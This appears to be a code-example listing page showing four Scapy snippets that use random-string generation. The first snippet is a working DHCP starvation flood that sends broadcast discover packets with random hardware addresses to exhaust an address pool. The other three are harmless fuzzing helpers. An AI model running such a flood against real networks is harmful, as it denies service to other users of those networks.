Exemplo n.º 1
0
def dhcp_flood(**kwargs):
    iface = kwargs["interface"]
    count = kwargs["count"]

    unique_hexdigits = str.encode("".join(set(string.hexdigits.lower())))
    packet = (l2.Ether(dst="ff:ff:ff:ff:ff:ff") /
              inet.IP(src="0.0.0.0", dst="255.255.255.255") /
              inet.UDP(sport=68, dport=67) /
              dhcp.BOOTP(chaddr=volatile.RandString(12, unique_hexdigits)) /
              dhcp.DHCP(options=[("message-type", "discover"), "end"]))

    sendrecv.sendp(packet, iface=iface, count=count)
Exemplo n.º 2
0
 def randval(self):
     nodename = volatile.RandString(50)
     servname = volatile.RandString(50)
     return 'dtn://{0}/{1}'.format(nodename, servname)
Exemplo n.º 3
0
 def randval(self):
     return volatile.RandString(volatile.RandNum(0, 1200))
Exemplo n.º 4
0
 def randval(self):
     return volatile.RandString(1000)